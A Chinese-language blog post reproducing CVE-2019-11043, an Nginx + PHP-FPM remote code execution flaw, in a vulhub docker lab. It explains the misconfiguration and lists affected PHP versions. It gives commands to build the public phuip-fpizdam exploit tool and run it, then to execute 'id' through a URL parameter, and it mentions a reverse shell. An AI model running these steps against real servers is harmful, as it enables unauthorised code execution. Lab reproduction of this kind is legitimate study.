0x00:简介

CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码。

向Nginx + PHP-FPM的服务器 URL发送 %0a 时,服务器返回异常。

该漏洞需要在nginx.conf中进行特定配置才能触发。具体为nginx + php-fpm 配置不当,当nginx配置文件中有fastcgi_split_path_info,却没有if(!-f $document_root$fastcgi_script_name){return 404;}的时候就会导致远程代码执行。

攻击者可以使用换行符(%0a)来破坏fastcgi_split_path_info指令中的Regexp。Regexp被损坏导致PATH_INFO为空,从而触发该漏洞。

0x01:漏洞危害

远程命令执行

0x02:影响范围

在 Nginx + PHP-FPM 环境下,当启用了上述 Nginx 配置后,以下 PHP 版本受本次漏洞影响,另外,PHP 5.6版本也受此漏洞影响,但目前只能 Crash,不可以远程代码执行:

  • PHP 7.0 版本
  • PHP 7.1 版本
  • PHP 7.2 版本
  • PHP 7.3 版本

0x03:环境搭建

1、靶场这里直接使用vulhub的docker搭建

cd /vulhub/php/CVE-2019-11043/

docker-compose up -d

访问http://192.168.150.148:8080/

2、需要安装golang环境

apt-get install golang -y

3、安装漏洞利用工具

git clone https://github.com/neex/phuip-fpizdam.git

进入该目录build一下

cd phuip-fpizdam

go build

执行上面命令后,目录下就会生成 phuip-fpizdam 文件 没成功可能是权限问题,chmod 777 即可

0x04:漏洞复现

首先到phuip-fpizdam文件夹下,执行命令

./phuip-fpizdam http://127.0.0.1:8080/index.php

如上图所示即是成功了

到浏览器执行命令,这里可能需要多执行几次才能成功,因为这是php-fpm的子进程受到污染

http://192.168.150.148:8080/index.php?a=id

至于反弹shell,需要到docker安装nc 可以反弹

0x05:参考

https://blog.csdn.net/qq_43342566/article/details/102733144

1 对 “CVE-2019-11043 PHP远程代码执行漏洞复现”的想法;

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注